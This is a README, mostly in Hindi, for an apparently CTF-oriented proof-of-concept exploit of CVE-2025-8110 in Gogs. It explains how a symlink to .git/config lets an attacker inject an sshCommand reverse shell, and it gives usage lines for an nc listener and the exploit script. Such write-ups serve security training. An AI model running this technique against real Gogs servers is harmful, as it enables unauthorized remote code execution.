CVE-2025-8110 — Gogs RCE PoC (Silentium / HackTheBox)

अस्वीकरण: यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण के लिए है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है।

यह zAbuQasem/gogs-CVE-2025-8110 का एक संशोधित संस्करण है, जिसे HackTheBox पर Silentium मशीन के विरुद्ध काम करने के लिए अनुकूलित किया गया है। मूल PoC को Silentium की विशिष्ट Gogs कॉन्फ़िगरेशन और प्रमाणीकरण प्रवाह को संभालने के लिए समायोजन की आवश्यकता थी।

भेद्यता

CVE-2025-8110 Gogs में एक रिमोट कोड निष्पादन भेद्यता है, जो एक स्व-होस्टेड Git सेवा है।

Gogs का फ़ाइल-अपडेट API एंडपॉइंट (PUT /api/v1/repos/.../contents/<file>) यह सत्यापित नहीं करता कि लक्ष्य फ़ाइल एक सिमलिंक है या नहीं। एक प्रमाणित हमलावर एक रिपॉजिटरी में एक सिमलिंक (जो .git/config की ओर इशारा करता है) डाल सकता है, फिर API का उपयोग करके उसे एक दुर्भावनापूर्ण पेलोड से ओवरराइट कर सकता है। पेलोड git कॉन्फ़िग में एक कस्टम sshCommand इंजेक्ट करता है, जिसे Gogs अगली बार उस रिपॉजिटरी पर SSH ऑपरेशन करने पर सर्वर-साइड निष्पादित करता है, जिसके परिणामस्वरूप रिमोट कोड निष्पादन होता है।

PoC क्या करता है

1. Gogs में प्रमाणित होता है और लॉगिन पेज से CSRF टोकन प्राप्त करता है।
2. उपयोगकर्ता सेटिंग्स पेज के माध्यम से Gogs API टोकन उत्पन्न करता है।
3. SSH सक्षम के साथ API के माध्यम से एक नया रिपॉजिटरी बनाता है।
4. रिपॉजिटरी को स्थानीय रूप से क्लोन करता है, एक सिमलिंक (malicious_link -> .git/config) लगाता है, और इसे पुश करता है।
5. सिमलिंक पर फ़ाइल-अपडेट API को कॉल करता है, एक दुर्भावनापूर्ण .git/config लिखता है जिसमें sshCommand = <reverse shell> होता है।
6. Gogs सिमलिंक का अनुसरण करता है और अपने स्वयं के .git/config को ओवरराइट करता है, अगले SSH ऑपरेशन पर शेल को ट्रिगर करता है।

उपयोग

निर्भरताएँ स्थापित करें:

pip install -r requirements.txt

एक लिसनर प्रारंभ करें:

nc -lvnp <PORT>

एक्सप्लॉइट चलाएँ:

python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>

वैकल्पिक — Burp Suite के माध्यम से रूट करें:

python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x